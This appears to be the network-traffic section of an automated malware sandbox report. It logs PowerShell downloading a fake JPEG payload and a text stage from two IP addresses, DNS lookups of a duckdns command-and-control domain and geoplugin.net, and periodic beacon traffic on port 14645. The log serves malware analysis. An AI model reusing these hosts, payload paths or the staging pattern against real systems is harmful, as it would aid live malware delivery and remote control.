Jul 27, 2024 13:32:10.280694962 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280719995 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280738115 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280771971 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.280878067 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.280893087 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280910969 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280925989 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280941010 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280957937 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.280971050 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.280987024 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281001091 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281017065 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281029940 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281029940 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281032085 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281049967 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281065941 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281080961 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281097889 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281114101 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281124115 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281124115 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281124115 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281208038 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281223059 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281239033 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281343937 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281358957 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281388044 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281393051 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281393051 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281393051 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281404972 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281424046 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281440020 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281466961 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281466961 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281517982 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281533957 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281548977 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281650066 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281665087 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281678915 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281694889 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281709909 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281709909 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281709909 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281709909 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281728029 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281743050 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281759024 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281778097 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281778097 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281799078 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.281965971 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281981945 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.281996965 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282012939 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282027960 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282243967 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282243967 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282265902 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282286882 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282301903 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282332897 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282345057 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282345057 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282347918 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282366037 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282408953 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282422066 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282438040 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282454014 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282469988 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282485008 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282497883 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282531977 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282531977 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282531977 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282531977 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282582998 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282599926 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282602072 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282661915 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282700062 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282715082 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282731056 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282748938 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282794952 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282809973 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282852888 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.282924891 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282942057 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282957077 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282972097 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.282988071 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283004999 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283020020 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283035040 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283036947 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283036947 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283036947 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283133030 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283181906 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283181906 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283186913 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283206940 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283224106 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283279896 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283471107 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283471107 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283566952 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283584118 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283600092 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283657074 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283665895 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.283673048 CEST	80	49700	192.3.176.154	192.168.2.7
Jul 27, 2024 13:32:10.283818960 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.336505890 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.374304056 CEST	49700	80	192.168.2.7	192.3.176.154
Jul 27, 2024 13:32:10.374481916 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:10.503483057 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:10.508538961 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:10.508615971 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:10.513662100 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:10.518562078 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:11.251564980 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:11.251593113 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:11.251709938 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:11.251791000 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:11.251838923 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:11.258089066 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:11.263025999 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:11.264856100 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:11.269927025 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:12.057651043 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:12.059465885 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:12.064471960 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:12.147814035 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:12.195837021 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:12.610335112 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:32:12.616935015 CEST	80	49702	178.237.33.50	192.168.2.7
Jul 27, 2024 13:32:12.617321968 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:32:12.626852989 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:32:12.631849051 CEST	80	49702	178.237.33.50	192.168.2.7
Jul 27, 2024 13:32:13.238667011 CEST	80	49702	178.237.33.50	192.168.2.7
Jul 27, 2024 13:32:13.238776922 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:32:13.250361919 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:13.261158943 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:14.235836029 CEST	80	49702	178.237.33.50	192.168.2.7
Jul 27, 2024 13:32:14.239087105 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:32:37.642496109 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:32:37.643899918 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:32:37.652359009 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:33:07.641957998 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:33:07.643182039 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:33:07.648416042 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:33:37.641433954 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:33:37.646392107 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:33:37.652286053 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:34:02.587014914 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:34:02.899440050 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:34:03.508713961 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:34:04.711869001 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:34:07.118211031 CEST	49702	80	192.168.2.7	178.237.33.50
Jul 27, 2024 13:34:07.657386065 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:34:07.659051895 CEST	49701	14645	192.168.2.7	192.210.214.9
Jul 27, 2024 13:34:07.664118052 CEST	14645	49701	192.210.214.9	192.168.2.7
Jul 27, 2024 13:34:11.933159113 CEST	49702	80	192.168.2.7	178.237.33.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:32:10.390510082 CEST	53800	53	192.168.2.7	1.1.1.1
Jul 27, 2024 13:32:10.500576973 CEST	53	53800	1.1.1.1	192.168.2.7
Jul 27, 2024 13:32:12.594779968 CEST	60786	53	192.168.2.7	1.1.1.1
Jul 27, 2024 13:32:12.604116917 CEST	53	60786	1.1.1.1	192.168.2.7
Jul 27, 2024 13:32:27.344022989 CEST	53	60108	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 13:32:10.390510082 CEST	192.168.2.7	1.1.1.1	0x70c0	Standard query (0)	2024remcmon.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:32:12.594779968 CEST	192.168.2.7	1.1.1.1	0xffb6	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 13:32:10.500576973 CEST	1.1.1.1	192.168.2.7	0x70c0	No error (0)	2024remcmon.duckdns.org		192.210.214.9	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:32:12.604116917 CEST	1.1.1.1	192.168.2.7	0xffb6	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

198.46.176.133

192.3.176.154

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	198.46.176.133	80	3092	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:32:06.849863052 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 27, 2024 13:32:07.589927912 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:32:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
Jul 27, 2024 13:32:07.589943886 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 27, 2024 13:32:07.589955091 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 27, 2024 13:32:07.590033054 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 27, 2024 13:32:07.590044975 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 27, 2024 13:32:07.590054035 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 27, 2024 13:32:07.590060949 CEST	1236	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 27, 2024 13:32:07.590137005 CEST	1236	IN	Data Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
Jul 27, 2024 13:32:07.590147018 CEST	1236	IN	Data Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v
Jul 27, 2024 13:32:07.590156078 CEST	1236	IN	Data Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 Data Ascii: gmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,qtUx+,NG*)UeUe
Jul 27, 2024 13:32:07.590166092 CEST	1236	IN	Data Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,
Jul 27, 2024 13:32:07.590400934 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:32:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	192.3.176.154	80	3092	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:32:09.178566933 CEST	80	OUT	GET /xampp/glo/KBV.txt HTTP/1.1 Host: 192.3.176.154 Connection: Keep-Alive
